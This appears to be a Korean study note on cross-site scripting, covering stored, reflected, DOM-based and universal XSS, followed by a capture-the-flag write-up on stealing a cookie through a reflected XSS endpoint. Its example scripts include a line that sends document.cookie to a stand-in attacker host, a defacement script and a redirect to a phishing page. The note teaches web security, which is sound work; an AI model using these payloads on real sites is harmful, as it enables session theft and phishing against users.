XSS
XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있습니다. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 걔정으로 임의의 기능을 수행할 수 있습니다. 예를 들어, 드림핵 웹 페이지에서 XSS취약점이 존재하면 https://dreamhack.io내에서 오리진 권한으로 악성 스크립트를 삽입합니다. 이후에 이용자가 악성 스크립트에 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있습니다.
해당 취약점은 SOP보안 정책이 등장하면서 서로 다른 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어 졌습니다. 그러나 이를 우회하는 다양한 기술이 소개되면서 XSS공격은 지속되고 있습니다.
XSS 발생 예시와 종류
XSS공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생합니다. 이러한 기능의 예로는 로그인 시 출력되는 "안녕하세요 OO회원님"과 같은 문구 또는 게시물과 댓글이 있습니다.
클라이언트는 HTTP형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답, 즉 HTML, CSS, JS등의 웹 리소스를 시각화하여 이용자에게 보여줍니다. 이 떄, HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있습니다.
XSS는 발생 형태에 따라서 다양한 종류로 구분되는데, 아래에서 XSS종류와 악성 스크립트가 삽입되는 위치를 확인할 수 있습니다.
- Stored XSS
- XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
- Reflected XSS
- XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
- DOM-based XSS
- XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
- Universal XSS
- 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP정책을 우회하는 XSS
XSS 스크립트의 예시
자바스크립트는 웹 문서의 동작을 정의합니다. 이는 이용자가 버튼 클릭 시에 어떤 이벤트를 발생 시킬지와 데이터 입력 시 해당 데이터를 전송하는 이벤트를 구현할 수 있습니다. 이러한 기능 외에도 이용자와의 상호 작용 없이 이용자의 권한으로 정보를 조회하거나 변경하는 등의 행위가 가능합니다. 이러한 행위가 가능한 이유는 이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문입니다. 따라서 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있습니다.
쿠키 및 세션 탈취 공격 코드
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
페이지 변조 공격 코드
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
위치 이동 공격 코드
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
Stored XSS
Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 작성된 악성 스크립트를 조회할 때 발생하는 XSS입니다. 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드 하는 방식이 있습니다. 게시물은 불특정 다수에게 보여지기 때문에 해당 기능에서 XSS취약점이 존재할 경우 높은 파급력을 가집니다.
Reflected XSS
Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생합니다. 대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방법이 있습니다. 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환합니다. 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있습니다.
Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 따라 발생합니다. 따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 합니다. 이용자에게 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 눈치챌 수 있기 때문에 주로 Click Jacking 또는 OIpen Redirect등 다른 취약점과 연계하여 사용합니다.
Exercise: XSS
이번에는 XSS취약점이 존재하는 워게임 문제를 풀어보면서 다른 이용자의 클라이언트에 저장된 쿠키를 탈취해 보는 것을 실습해 보도록 하겠습니다.
XSS를 통해 다른 이용자의 쿠키를 탈취해야 하기 때문에, 다른 이용자가 방문하는 시나리오가 필요합니다. 이러한 기능은 셀레늄을 통해 구현합니다.
셀레늄은 웹 애플리케이션 테스팅에 사용되는 파이썬 모듈로, API를 통해 웹 드라이버(크롬, 사파리 등)을 사용할 수 있습니다. 이는 응답에 포함된 JS, CSS와 같은 웹 리소스를 웹 드라이버를 통해 해석하고 실행하기 때문에 웹 브라우저를 통해 페이지를 방문하는 것과 같은 역할을 합니다.
API End Point
/vuln
이용자가 전달한 param파라미터의 값을 출력하게 됩니다.
/memo
memo페이지를 구성하는 코드입니다. 코드를 살펴보면, 이용자가 전달한 memo파라미터 값을 render_template함수를 통해 기록하고 출력합니다.
/flag
이는 flag페이지를 구성하는 코드입니다. 메소드에 따른 요청마다 다른 기능을 수행하는 것을 볼 수 있습니다.
- GET
- 이용자에게 URL을 입력받는 페이지를 제공합니다.
- POST
- params파라미터에 값과 쿠키에 FLAG를 포함해 check_xss함수를 호출합니다. check_css는 read_url함수를 호춯해 vuln엔드포인트에 접속하게 됩니다.
취약점 분석
vuln과 memo엔드포인트는 이용자의 입력값을 페이지에 출력합니다. memo는 render_template함수를 사용해 memo.html을 출력합니다. render_template함수는 전달된 템플릿 변수를 기록할 때 HTML엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않습니다. 그러나 vuln은 이용자가 입력한 값을 페지이제 그대로 출력하기 때문에 XSS가 발생합니다.
익스플로잇
문제를 해결하기 위해서는 /vuln 엔드포인트에서 발생하는 XSS취약점을 통해 임의 이용자의 쿠키를 탈취해야 합니다. 탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo엔드포인트를 사용할 수 있습니다. 다음은 공격에 사용할 수 있는 속성에 대한 설명입니다.
- location.href
- 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값 입니다.
- document.cookie
- 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값입니다.
쿠키 탈취
일단 /flag 엔드 포인트로 가서 다른 사용자로 /vuln 엔드포인트로 요청을 보내야 합니다.
그러기 위해서는
다음과 같이 Reflected XSS를 사용해서 그대로 /memo에다가 해당 유저의 cookie를 탈취할 수 있는 코드를 쓸 수 있게 됩니다.
이제 memo엔드 포인트로 가서 뭐가 저장되었는지 확인만 하면 끝!
다음과 같이 FLAG를 찾아낼 수 있습니다.
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